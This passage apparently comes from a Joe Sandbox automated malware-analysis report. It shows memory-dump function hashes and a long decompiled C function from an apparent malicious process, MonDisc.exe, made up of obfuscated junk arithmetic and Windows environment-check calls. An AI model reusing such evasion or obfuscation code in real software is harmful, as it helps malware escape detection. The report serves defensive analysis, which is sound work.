Uniqueness Score: -1.00%

Function 00007FFBAC4F5343 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.403864985.00007FFBAC4F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC4F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffbac4f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29e2c54267497f34fa0bbc158f34acd0b5178cd8d28a66b070b67c9070810aa5
Instruction ID: 8ca38b52e64427d95b84ede719bf20679e14ddfc70b78c8101e6f9e3028be334
Opcode Fuzzy Hash: 29e2c54267497f34fa0bbc158f34acd0b5178cd8d28a66b070b67c9070810aa5
Instruction Fuzzy Hash: 81F0A03231CA0C0BEB0CAA1CB8424F973C2CBD5360B00417FF40AC6297DC26AC8382DA

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC4F8B88 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.403864985.00007FFBAC4F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC4F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffbac4f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afa5b35e566664ad413131cdc898063c81e686b5ba13ca315f779f68bb84efbd
Instruction ID: 2bde1fc927886cfc857abfc549bde41629cf8d1560abf90c807bd268e8e17572
Opcode Fuzzy Hash: afa5b35e566664ad413131cdc898063c81e686b5ba13ca315f779f68bb84efbd
Instruction Fuzzy Hash: E2F0307275C6098FDB4CAA1CF8429B5B3D1EB99324B10017EF48BC2696D927E846C685

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: MonDisc.exePID: 680, Parent PID: 6972COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	38.5%
Total number of Nodes:	1290
Total number of Limit Nodes:	47

Executed Functions

Function 00007FF6ED0F517B Relevance: 73.0, APIs: 48, Instructions: 994
timewindowCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 52%

			E00007FF67FF6ED0F517B(void* __eax, void* __ebx, signed int __esi, signed int __ebp, intOrPtr* __rax, long long __rcx, struct HWND__* __r12, struct HWND__* __r13, signed long long _a80, long long _a88, long long _a96, long long _a104) {
				signed int _t88;
				signed int _t102;
				signed int _t107;
				signed int _t118;
				signed int _t131;
				signed int _t137;
				signed int _t142;
				signed int _t151;
				signed int _t156;
				signed int _t161;
				signed int _t174;
				signed int _t179;
				signed int _t185;
				signed int _t195;
				signed int _t200;
				signed int _t206;
				signed int _t212;
				signed int _t217;
				signed int _t222;
				signed int _t227;
				signed int _t232;
				signed int _t239;
				signed int _t246;
				signed int _t257;
				signed int _t271;
				signed int _t281;
				signed int _t286;
				signed int _t292;
				signed int _t298;
				signed int _t304;
				signed int _t311;
				signed int _t316;
				signed int _t321;
				signed int _t326;
				signed int _t331;
				signed int _t336;
				signed int _t342;
				signed int _t352;
				signed int _t359;
				signed int _t366;
				signed int _t378;
				signed int _t388;
				signed int _t393;
				signed int _t425;
				signed int _t430;
				signed int _t448;
				signed int _t454;
				signed int _t460;
				signed int _t465;
				signed int _t470;
				signed int _t489;
				signed int _t505;
				signed int _t519;
				signed int _t529;
				signed int _t535;
				signed int _t562;
				signed int _t567;
				signed int _t572;
				signed int _t589;
				signed int _t604;
				signed char _t623;
				signed char _t643;
				signed int _t650;
				signed char _t687;
				signed int _t773;
				signed int _t782;
				void* _t788;
				void* _t789;
				void* _t790;
				void* _t792;
				void* _t795;
				void* _t798;
				void* _t800;
				void* _t802;
				void* _t803;
				void* _t808;
				void* _t809;
				void* _t811;
				void* _t812;
				void* _t813;
				void* _t815;
				void* _t816;
				void* _t818;
				void* _t819;
				void* _t821;
				void* _t823;
				void* _t824;
				void* _t825;
				void* _t826;
				void* _t829;
				void* _t830;
				void* _t831;
				void* _t833;
				void* _t834;
				void* _t836;
				void* _t837;
				void* _t838;
				void* _t839;
				void* _t841;
				void* _t842;
				void* _t843;
				void* _t846;
				void* _t847;
				void* _t850;
				void* _t851;
				void* _t852;
				void* _t853;
				void* _t854;
				void* _t856;
				void* _t857;
				void* _t860;
				void* _t861;
				void* _t863;
				void* _t866;
				void* _t869;
				void* _t872;
				void* _t874;
				void* _t875;
				void* _t876;
				void* _t877;
				void* _t878;
				void* _t879;
				void* _t880;
				void* _t881;
				void* _t884;
				void* _t886;
				intOrPtr* _t889;
				void* _t890;
				void* _t891;
				signed long long _t893;
				intOrPtr _t901;
				struct HWND__* _t903;
				void* _t905;
				long long _t906;
				long long _t908;
				void* _t912;
				void* _t913;
				void* _t920;
				void* _t923;
				struct HWND__* _t924;
				void* _t925;
				WCHAR* _t926;
				void* _t927;

				_t889 = __rax;
				if ((__eax - __ebp | r14d) + __ebp == 0x10) goto 0xed0f51a8;
				_t88 = E00007FF67FF6ED184484(__rax) & r15d;
				if (_t88 >= 0) goto 0xed0f5198;
				 *0xed236f60 = __esi & 0xffffff00 | (_t88 - __ebp | r14d) + __ebp != 0x00000010;
				goto 0xed0f51c7;
				 *0xed236f60 = 0x37;
				if (0x37 + bpl - 0x46 < 0) goto 0xed0f51aa;
				 *0xed236f60 = __ebp;
				 *0xed236f60 = __esi;
				_t623 = __ebx + bpl;
				 *0xed236f60 = _t623 & 0x000000ff;
				_t788 = _t623 - 0x4e;
				if (_t788 < 0) goto 0xed0f5171;
				dil = dil + bpl;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(__rax);
				if (_t788 >= 0) goto 0xed0f51f6;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t788 != 0) goto 0xed0f520a;
				if (_t788 == 0) goto 0xed0f5165;
				 *0xed236f60 = 0x2f;
				GetMessageTime();
				 *0xed236f60 = 0x12;
				_t789 = 0x12 + bpl - 0x22;
				if (_t789 < 0) goto 0xed0f521c;
				 *0xed236f60 = __ebp;
				_t102 = E00007FF67FF6ED184484(__rax);
				if (_t789 >= 0) goto 0xed0f5244;
				_t790 = ((_t102 & r15d) - __ebp | r14d) + __ebp - 0x44;
				if (_t790 >= 0) goto 0xed0f5268;
				_t107 = E00007FF67FF6ED184484(__rax);
				if (_t790 >= 0) goto 0xed0f525a;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t107 & r15d) - __ebp | r14d) + __ebp - 0x00000044 < 0x00000000;
				 *0xed236f60 = 0x19;
				_t792 = 0x19 + bpl - 0x24;
				if (_t792 < 0) goto 0xed0f526a;
				 *0xed236f60 = 0x41;
				E00007FF67FF6ED184484(__rax);
				if (_t792 >= 0) goto 0xed0f5298;
				_t118 = E00007FF67FF6ED184484(__rax);
				if (_t792 >= 0) goto 0xed0f52a9;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t118 & r15d) - __ebp | r14d) + __ebp - 0x0000005a > 0x00000000;
				 *0xed236f60 = 0x69;
				if (0x69 + bpl - 0x6c < 0) goto 0xed0f5287; // executed
				GetUserDefaultLangID(); // executed
				 *0xed1ee398();
				GetSystemDefaultLangID();
				 *0xed236f60 = 0x1f;
				_t795 = 0x1f + bpl - 0x32;
				if (_t795 < 0) goto 0xed0f52d6;
				GetParent(??);
				GetDoubleClickTime();
				GetDoubleClickTime();
				_t131 = E00007FF67FF6ED184484(__rax);
				if (_t795 >= 0) goto 0xed0f5312;
				if (((_t131 & r15d) - __ebp | r14d) + __ebp - 0x45 >= 0) goto 0xed0f5361;
				goto 0xed0f532c;
				if (0x5f - 0x73 >= 0) goto 0xed0f5342;
				 *0xed236f60 = 0x0000005f + bpl & 0x000000ff;
				_t137 = E00007FF67FF6ED184484(__rax);
				if (0x5f - 0x73 >= 0) goto 0xed0f533d;
				_t798 = ((_t137 & r15d) - __ebp | r14d) + __ebp - 0x22;
				if (_t798 != 0) goto 0xed0f531b;
				_t142 = E00007FF67FF6ED184484(__rax);
				if (_t798 >= 0) goto 0xed0f5353;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t142 & r15d) - __ebp | r14d) + __ebp - 0x00000045 < 0x00000000;
				_t687 = sil;
				 *0xed236f60 = _t687 & 0x000000ff;
				_t800 = _t687 + bpl - 0xf;
				if (_t800 < 0) goto 0xed0f5364;
				GetWindowTextLengthW(??);
				GetMessageExtraInfo();
				 *0xed236f60 = 5;
				_t151 = E00007FF67FF6ED184484(__rax);
				if (_t800 >= 0) goto 0xed0f53a2;
				if (((_t151 & r15d) - __ebp | r14d) + __ebp - 0x3f < 0) goto 0xed0f53ac;
				_t802 = 5 + bpl - 0xe;
				if (_t802 < 0) goto 0xed0f5385;
				dil = 0x49;
				_t156 = E00007FF67FF6ED184484(__rax);
				if (_t802 >= 0) goto 0xed0f53c2;
				_t803 = ((_t156 & r15d) - __ebp | r14d) + __ebp - 0x1b;
				if (_t803 <= 0) goto 0xed0f53f0;
				 *0xed236f60 = 0x66;
				_t161 = E00007FF67FF6ED184484(__rax);
				if (_t803 >= 0) goto 0xed0f53e2;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t161 & r15d) - __ebp | r14d) + __ebp - 0x0000001b > 0x00000000;
				 *0xed236f60 = 0x3f;
				if (0x3f + bpl - 0x46 < 0) goto 0xed0f53b1;
				dil = dil + bpl;
				 *0xed236f60 = __ebp;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x51 < 0) goto 0xed0f53af;
				IsIconic(??);
				IsIconic(??);
				GetDoubleClickTime();
				 *0xed236f60 = 0x1e;
				GetLastActivePopup(??);
				GetMessageTime();
				goto 0xed0f545d;
				if (0x40 - 0x4a >= 0) goto 0xed0f5473;
				 *0xed236f60 = 0x00000040 + bpl & 0x000000ff;
				_t174 = E00007FF67FF6ED184484(__rax);
				if (0x40 - 0x4a >= 0) goto 0xed0f546e;
				_t808 = ((_t174 & r15d) - __ebp | r14d) + __ebp - 0x3b;
				if (_t808 == 0) goto 0xed0f544c;
				_t179 = E00007FF67FF6ED184484(__rax);
				if (_t808 >= 0) goto 0xed0f5484;
				_t809 = ((_t179 & r15d) - __ebp | r14d) + __ebp - 0x26;
				if (_t809 < 0) goto 0xed0f54b0;
				GetModuleHandleW(??);
				_t185 = E00007FF67FF6ED184484(__rax);
				if (_t809 >= 0) goto 0xed0f54a2;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t185 & r15d) - __ebp | r14d) + __ebp - 0x00000026 >= 0x00000000;
				GetCurrentProcessId();
				 *0xed1ee398();
				 *0xed236f60 = 0x20;
				_t811 = 0x20 + bpl - 0x2b;
				if (_t811 < 0) goto 0xed0f54b8;
				GetTopWindow(??);
				 *0xed236f60 = __ebp;
				GetMessageExtraInfo();
				_t195 = E00007FF67FF6ED184484(__rax);
				if (_t811 >= 0) goto 0xed0f54f4;
				_t812 = ((_t195 & r15d) - __ebp | r14d) + __ebp - 0x3f;
				if (_t812 == 0) goto 0xed0f5518;
				_t200 = E00007FF67FF6ED184484(__rax);
				if (_t812 >= 0) goto 0xed0f550a;
				_t813 = ((_t200 & r15d) - __ebp | r14d) + __ebp - 0x3f;
				 *0xed236f60 = __esi & 0xffffff00 | _t813 != 0x00000000;
				 *0xed236f60 = 0x61;
				_t206 = E00007FF67FF6ED184484(__rax);
				if (_t813 >= 0) goto 0xed0f5537;
				if (((_t206 & r15d) - __ebp | r14d) + __ebp - 0x69 > 0) goto 0xed0f5541;
				_t815 = 0x61 + bpl - 0x73;
				if (_t815 < 0) goto 0xed0f551a;
				GetParent(??);
				_t212 = E00007FF67FF6ED184484(__rax);
				if (_t815 >= 0) goto 0xed0f555a;
				_t816 = ((_t212 & r15d) - __ebp | r14d) + __ebp - 0x20;
				if (_t816 >= 0) goto 0xed0f557a;
				_t217 = E00007FF67FF6ED184484(__rax);
				if (_t816 >= 0) goto 0xed0f5570;
				goto 0xed0f55a9;
				_t222 = E00007FF67FF6ED184484(__rax);
				if (((_t217 & r15d) - __ebp | r14d) + __ebp - 0x20 >= 0) goto 0xed0f558b;
				_t818 = ((_t222 & r15d) - __ebp | r14d) + __ebp - 0x48;
				if (_t818 > 0) goto 0xed0f55af;
				_t227 = E00007FF67FF6ED184484(__rax);
				if (_t818 >= 0) goto 0xed0f55a1;
				_t819 = ((_t227 & r15d) - __ebp | r14d) + __ebp - 0x48;
				 *0xed236f60 = __esi & 0xffffff00 | _t819 <= 0x00000000;
				_t232 = E00007FF67FF6ED184484(__rax);
				if (_t819 >= 0) goto 0xed0f55c0;
				if (((_t232 & r15d) - __ebp | r14d) + __ebp - 0x15 <= 0) goto 0xed0f55cf;
				GetTopWindow(??);
				goto 0xed0f55e2;
				 *0xed236f60 = 0x60;
				_t821 = 0x60 + bpl - 0x6b;
				if (_t821 < 0) goto 0xed0f55d1;
				_t239 = E00007FF67FF6ED184484(__rax);
				if (_t821 >= 0) goto 0xed0f55f3;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t239 & r15d) - __ebp | r14d) + __ebp - 0x00000015 > 0x00000000;
				GetTopWindow(??);
				 *0xed236f60 = 2;
				_t823 = 2 + bpl - 0x12;
				if (_t823 < 0) goto 0xed0f5603;
				_t246 = E00007FF67FF6ED184484(__rax);
				if (_t823 >= 0) goto 0xed0f562d;
				_t824 = ((_t246 & r15d) - __ebp | r14d) + __ebp - 4;
				if (_t824 != 0) goto 0xed0f5687;
				_t643 = bpl + bpl;
				 *0xed236f60 = _t643 & 0x000000ff;
				E00007FF67FF6ED184484(__rax);
				if (_t824 >= 0) goto 0xed0f5652;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x1143de]");
				if (_t824 <= 0) goto 0xed0f5669;
				_t825 = _t643 - 4;
				if (_t825 < 0) goto 0xed0f5635;
				_t257 = E00007FF67FF6ED184484(__rax);
				if (_t825 >= 0) goto 0xed0f567a;
				_t826 = ((_t257 & r15d) - __ebp | r14d) + __ebp - 4;
				sil = _t826 == 0;
				 *0xed236f60 = __esi;
				E00007FF67FF6ED1844F4(E00007FF67FF6ED1844FC(((_t257 & r15d) - __ebp | r14d) + __ebp));
				_t901 =  *_t889;
				_t893 = _a80;
				_t908 = _a88;
				_t906 = _a96;
				asm("movaps xmm6, [esp+0x20]");
				_t913 = _t912 + 0x30;
				_pop(_t926);
				_pop(_t924);
				_pop(_t903);
				goto 0xed0f7568;
				asm("int3");
				_t890 = _t913;
				 *(_t890 + 0x10) = _t893;
				 *((long long*)(_t890 + 0x18)) = _t908;
				 *((long long*)(_t890 + 0x20)) = _t906;
				 *((long long*)(_t890 + 8)) = __rcx;
				asm("movaps [eax-0x38], xmm6");
				 *0xed236f60 = 1;
				 *0xed236f60 = 1;
				E00007FF67FF6ED184484(_t890);
				r14d = 0x8000007f;
				if (_t826 >= 0) goto 0xed0f5717;
				r15d = 0;
				goto 0xed0f574c;
				if (0x2b - 0x2e >= 0) goto 0xed0f5751;
				GetModuleHandleW(_t926);
				 *0xed236f60 = r15d;
				 *0xed236f60 = 0x0000002b + sil & 0x000000ff;
				_t271 = E00007FF67FF6ED184484(_t890);
				if (0x2b - 0x2e >= 0) goto 0xed0f574c;
				if (((_t271 & r14d) - 0x00000001 | 0xffffff80) + 1 == 0x37) goto 0xed0f571c;
				GetMessageExtraInfo();
				AnyPopup();
				GetWindowTextLengthW(_t924);
				 *0xed236f60 = 0x41;
				_t829 = 0x41 + sil - 0x55;
				if (_t829 < 0) goto 0xed0f575f;
				IsZoomed(__r13);
				_t281 = E00007FF67FF6ED184484(_t890);
				if (_t829 >= 0) goto 0xed0f5790;
				_t830 = ((_t281 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x66;
				if (_t830 >= 0) goto 0xed0f57bd;
				 *0xed236f60 = r15d;
				_t286 = E00007FF67FF6ED184484(_t890);
				if (_t830 >= 0) goto 0xed0f57ac;
				_t831 = ((_t286 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x66;
				 *0xed236f60 = r15d & 0xffffff00 | _t831 < 0x00000000;
				goto 0xed0f57ca;
				AnyPopup();
				 *0xed236f60 = r15d;
				_t292 = E00007FF67FF6ED184484(_t890);
				if (_t831 >= 0) goto 0xed0f57da;
				if (((_t292 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x3c <= 0) goto 0xed0f5811;
				 *0xed236f60 = 0x19;
				_t833 = 0x19 + sil - 0x2b;
				if (_t833 < 0) goto 0xed0f57e1;
				_t298 = E00007FF67FF6ED184484(_t890);
				if (_t833 >= 0) goto 0xed0f5802;
				_t834 = ((_t298 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x3c;
				 *0xed236f60 = r15d & 0xffffff00 | _t834 > 0x00000000;
				 *0xed236f60 = 0x5a;
				_t304 = E00007FF67FF6ED184484(_t890);
				if (_t834 >= 0) goto 0xed0f582f;
				if (((_t304 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x65 >= 0) goto 0xed0f5839;
				_t836 = 0x5a + sil - 0x5b;
				if (_t836 < 0) goto 0xed0f5813;
				 *0xed236f60 = 1;
				 *0xed1ee398();
				GetTickCount();
				 *0xed236f60 = 1;
				_t311 = E00007FF67FF6ED184484(_t890);
				_t650 = r14d;
				if (_t836 >= 0) goto 0xed0f5863;
				_t837 = ((_t311 & _t650) - 0x00000001 | 0xffffff80) + 1 - 0x70;
				if (_t837 > 0) goto 0xed0f5886;
				_t316 = E00007FF67FF6ED184484(_t890);
				if (_t837 >= 0) goto 0xed0f5877;
				_t838 = ((_t316 & _t650) - 0x00000001 | 0xffffff80) + 1 - 0x70;
				 *0xed236f60 = r15d & 0xffffff00 | _t838 <= 0x00000000;
				_t321 = E00007FF67FF6ED184484(_t890);
				if (_t838 >= 0) goto 0xed0f5895;
				r14d = 0x31;
				r15d = _t924 - 0x15;
				_t839 = ((_t321 & _t650) - 0x00000001 | 0xffffff80) + 1 - 0x33;
				if (_t839 == 0) goto 0xed0f58c0;
				_t326 = E00007FF67FF6ED184484(_t890);
				if (_t839 >= 0) goto 0xed0f58b3;
				goto 0xed0f59ed;
				_t331 = E00007FF67FF6ED184484(_t890);
				if (((_t326 & _t650) - 0x00000001 | 0xffffff80) + 1 - 0x33 >= 0) goto 0xed0f58cf;
				_t841 = ((_t331 & _t650) - 0x00000001 | 0xffffff80) + 1 - 0x10;
				if (_t841 <= 0) goto 0xed0f59f3;
				_t336 = E00007FF67FF6ED184484(_t890);
				if (_t841 >= 0) goto 0xed0f58e7;
				_t842 = ((_t336 & _t650) - 0x00000001 | 0xffffff80) + 1 - r14d;
				if (_t842 == 0) goto 0xed0f5916;
				GetLastActivePopup(__r12);
				_t342 = E00007FF67FF6ED184484(_t890);
				if (_t842 >= 0) goto 0xed0f5903;
				_t843 = ((_t342 & _t650) - 0x00000001 | 0xffffff80) + 1 - r14d;
				 *0xed236f60 = 0 | _t843 != 0x00000000;
				goto 0xed0f59d6;
				E00007FF67FF6ED184484(_t890);
				if (_t843 >= 0) goto 0xed0f5925;
				asm("movsd xmm6, [0x1141e3]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t843 > 0) goto 0xed0f59b0;
				_t352 = E00007FF67FF6ED184484(_t890);
				if (_t843 >= 0) goto 0xed0f594a;
				if (((_t352 & _t650) - 0x00000001 | 0xffffff80) + 1 - 0x20 < 0) goto 0xed0f598d;
				goto 0xed0f596a;
				if (0x27 - 0x33 >= 0) goto 0xed0f5981;
				GetTickCount();
				 *0xed236f60 = 0x00000027 + sil & 0x000000ff;
				_t359 = E00007FF67FF6ED184484(_t890);
				if (0x27 - 0x33 >= 0) goto 0xed0f597c;
				_t846 = ((_t359 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - r15d;
				if (_t846 >= 0) goto 0xed0f5953;
				E00007FF67FF6ED184484(_t890);
				goto 0xed0f5998;
				GetCommandLineW();
				_t366 = E00007FF67FF6ED184484(_t890);
				if (_t846 >= 0) goto 0xed0f59a2;
				_t847 = ((_t366 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x20;
				 *0xed236f60 = 0 | _t847 >= 0x00000000;
				E00007FF67FF6ED184484(_t890);
				if (_t847 >= 0) goto 0xed0f59bf;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t847 > 0x00000000;
				_t378 = E00007FF67FF6ED184484(_t890);
				if (_t847 >= 0) goto 0xed0f59e5;
				 *0xed236f60 = 0 | ((_t378 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 - 0x00000010 > 0x00000000; // executed
				GetForegroundWindow(); // executed
				GetTopWindow(_t903);
				_t773 =  !=  ? r9d : 0;
				_t782 = r12d - _t773 - 1;
				GetCommandLineW();
				 *0xed236f60 = 0x5d;
				_t850 = 0x5d + dil - 0x6a;
				if (_t850 < 0) goto 0xed0f5a1d;
				GetTopWindow(??);
				_t388 = E00007FF67FF6ED184484(_t890);
				if (_t850 >= 0) goto 0xed0f5a46;
				_t851 = ((_t388 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x79;
				if (_t851 >= 0) goto 0xed0f5a6b;
				_t393 = E00007FF67FF6ED184484(_t890);
				if (_t851 >= 0) goto 0xed0f5a5b;
				_t852 = ((_t393 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x79;
				 *0xed236f60 = 0 | _t852 < 0x00000000;
				goto 0xed0f5a7b;
				GetForegroundWindow();
				 *0xed236f60 = 0;
				E00007FF67FF6ED184484(_t890);
				if (_t852 >= 0) goto 0xed0f5a8b;
				asm("movsd xmm6, [0x11416d]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t852 >= 0) goto 0xed0f5ab4;
				 *0xed236f60 = 0x54;
				_t853 = 0x54 + dil - 0x61;
				if (_t853 < 0) goto 0xed0f5aa3;
				E00007FF67FF6ED184484(_t890);
				if (_t853 >= 0) goto 0xed0f5ac4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t853 >= 0x00000000;
				E00007FF67FF6ED184484(_t890);
				if (_t853 >= 0) goto 0xed0f5aeb;
				asm("movsd xmm6, [0x114055]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t853 <= 0) goto 0xed0f5b28;
				E00007FF67FF6ED184484(_t890);
				if (_t853 >= 0) goto 0xed0f5b11;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t853 > 0x00000000;
				 *0xed236f60 = 1;
				GetMessageExtraInfo();
				_t425 = E00007FF67FF6ED184484(_t890);
				if (_t853 >= 0) goto 0xed0f5b44;
				_t854 = ((_t425 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x2b;
				if (_t854 > 0) goto 0xed0f5b67;
				_t430 = E00007FF67FF6ED184484(_t890);
				if (_t854 >= 0) goto 0xed0f5b59;
				 *0xed236f60 = 0 | ((_t430 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 - 0x0000002b <= 0x00000000;
				IsZoomed(??);
				 *0xed1ee398();
				GetMessageExtraInfo();
				GetCurrentProcess();
				GetModuleHandleW(??);
				 *0xed236f60 = 0x44;
				_t856 = 0x44 + dil - 0x53;
				if (_t856 < 0) goto 0xed0f5b83;
				GetTickCount();
				AnyPopup();
				E00007FF67FF6ED184484(_t890);
				if (_t856 >= 0) goto 0xed0f5bbd;
				asm("movsd xmm6, [0x113f23]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t856 < 0) goto 0xed0f5cb4;
				dil = 0x35;
				_t448 = E00007FF67FF6ED184484(_t890);
				if (_t856 >= 0) goto 0xed0f5bea;
				_t857 = ((_t448 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x56;
				if (_t857 == 0) goto 0xed0f5c25;
				 *0xed236f60 = 0x5c;
				_t454 = E00007FF67FF6ED184484(_t890);
				if (_t857 >= 0) goto 0xed0f5c0f;
				if (((_t454 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 != 0x6a) goto 0xed0f5c19;
				if (0x5d - 0x64 < 0) goto 0xed0f5bf1;
				E00007FF67FF6ED184484(_t890);
				goto 0xed0f5c5d;
				_t460 = E00007FF67FF6ED184484(_t890);
				if (0x5d - 0x64 >= 0) goto 0xed0f5c35;
				_t860 = ((_t460 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x12;
				if (_t860 != 0) goto 0xed0f5c58;
				_t465 = E00007FF67FF6ED184484(_t890);
				if (_t860 >= 0) goto 0xed0f5c4a;
				_t861 = ((_t465 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x12;
				 *0xed236f60 = 0 | _t861 == 0x00000000;
				_t470 = E00007FF67FF6ED184484(_t890);
				if (_t861 >= 0) goto 0xed0f5c68;
				dil = dil + 1;
				 *0xed236f60 = 0 | ((_t470 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 != 0x00000056;
				 *0xed236f60 = dil & 0xffffffff;
				_t863 = dil - 0x38;
				if (_t863 < 0) goto 0xed0f5bda;
				E00007FF67FF6ED184484(_t890);
				if (_t863 >= 0) goto 0xed0f5c9d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t863 >= 0x00000000;
				_t59 = _t906 + 1; // 0x1
				r8d = _t59;
				E00007FF67FF6ED0FCE80(_t782, _t893, _a80, _t906);
				r12d = 1;
				if (r12d <= 0) goto 0xed0f5d01;
				E00007FF67FF6ED0FDD00(_t893, _a80,  *((intOrPtr*)(_t901 + _t893 * 8)));
				r8d =  ~_t773;
				E00007FF67FF6ED0FE000(r12d, _t890, _t893, _a80, _t906);
				if (_t893 + r8d - r8d < 0) goto 0xed0f5cd9;
				IsIconic(??);
				r13d = 0x8000007f;
				dil = 0x24;
				E00007FF67FF6ED184484(_t890);
				goto 0xed0f5d42;
				_t866 = dil - 0x2c;
				if (_t866 >= 0) goto 0xed0f5d54;
				dil = dil + r12b;
				 *0xed236f60 = 0;
				 *0xed236f60 = dil & 0xffffffff;
				_t489 = E00007FF67FF6ED184484(_t890);
				if (_t866 >= 0) goto 0xed0f5d4f;
				if (((_t489 & r13d) - r12d | 0xffffff80) + r12d - 0x32 <= 0) goto 0xed0f5d20;
				 *0xed236f60 = 0x18;
				if (0x18 + r12b - 0x21 < 0) goto 0xed0f5d11;
				GetWindowTextLengthW(??);
				GetTopWindow(??);
				GetCurrentProcessId();
				 *0xed236f60 = 0x63;
				_t869 = 0x63 + r12b - 0x65;
				if (_t869 < 0) goto 0xed0f5d7d;
				dil = 0x60;
				E00007FF67FF6ED184484(_t890);
				if (_t869 >= 0) goto 0xed0f5da3;
				asm("movsd xmm6, [0x113d95]");
				goto 0xed0f5dfe;
				if (dil - 0x73 >= 0) goto 0xed0f5e0e;
				goto 0xed0f5dc8;
				if (0x61 - 0x6c >= 0) goto 0xed0f5ddf;
				 *0xed236f60 = 0x00000061 + r12b & 0x000000ff;
				_t505 = E00007FF67FF6ED184484(_t890);
				if (0x61 - 0x6c >= 0) goto 0xed0f5dda;
				_t872 = ((_t505 & r13d) - r12d | 0xffffff80) + r12d - 5;
				if (_t872 <= 0) goto 0xed0f5db7;
				dil = dil + r12b;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t890);
				if (_t872 >= 0) goto 0xed0f5dfe;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t872 != 0) goto 0xed0f5dad;
				if (_t872 != 0) goto 0xed0f5dad;
				r14b = r14b + r12b;
				 *0xed236f60 = r14b & 0xffffffff;
				if (r14b - 0x3f < 0) goto 0xed0f5e0e;
				 *0xed236f60 = 0x1d;
				goto 0xed0f5e48;
				_t874 = r15b - 0x2e;
				if (_t874 >= 0) goto 0xed0f5e5f;
				GetTopWindow(??);
				r15b = r15b + r12b;
				 *0xed236f60 = r15b & 0xffffffff;
				_t519 = E00007FF67FF6ED184484(_t890);
				if (_t874 >= 0) goto 0xed0f5e5a;
				_t875 = ((_t519 & r13d) - r12d | 0xffffff80) + r12d - 0x35;
				if (_t875 != 0) goto 0xed0f5e2d;
				asm("movsd xmm6, [0x113b91]");
				E00007FF67FF6ED184484(_t890);
				if (_t875 >= 0) goto 0xed0f5e7b;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t875 >= 0) goto 0xed0f5ec6;
				_t529 = E00007FF67FF6ED184484(_t890);
				if (_t875 >= 0) goto 0xed0f5e9b;
				_t876 = ((_t529 & r13d) - r12d | 0xffffff80) + r12d - 8;
				if (_t876 != 0) goto 0xed0f5ec6;
				 *0xed1ee398();
				_t535 = E00007FF67FF6ED184484(_t890);
				if (_t876 >= 0) goto 0xed0f5eb8;
				_t877 = ((_t535 & r13d) - r12d | 0xffffff80) + r12d - 8;
				 *0xed236f60 = 0 | _t877 == 0x00000000;
				E00007FF67FF6ED184484(_t890);
				if (_t877 >= 0) goto 0xed0f5ed8;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
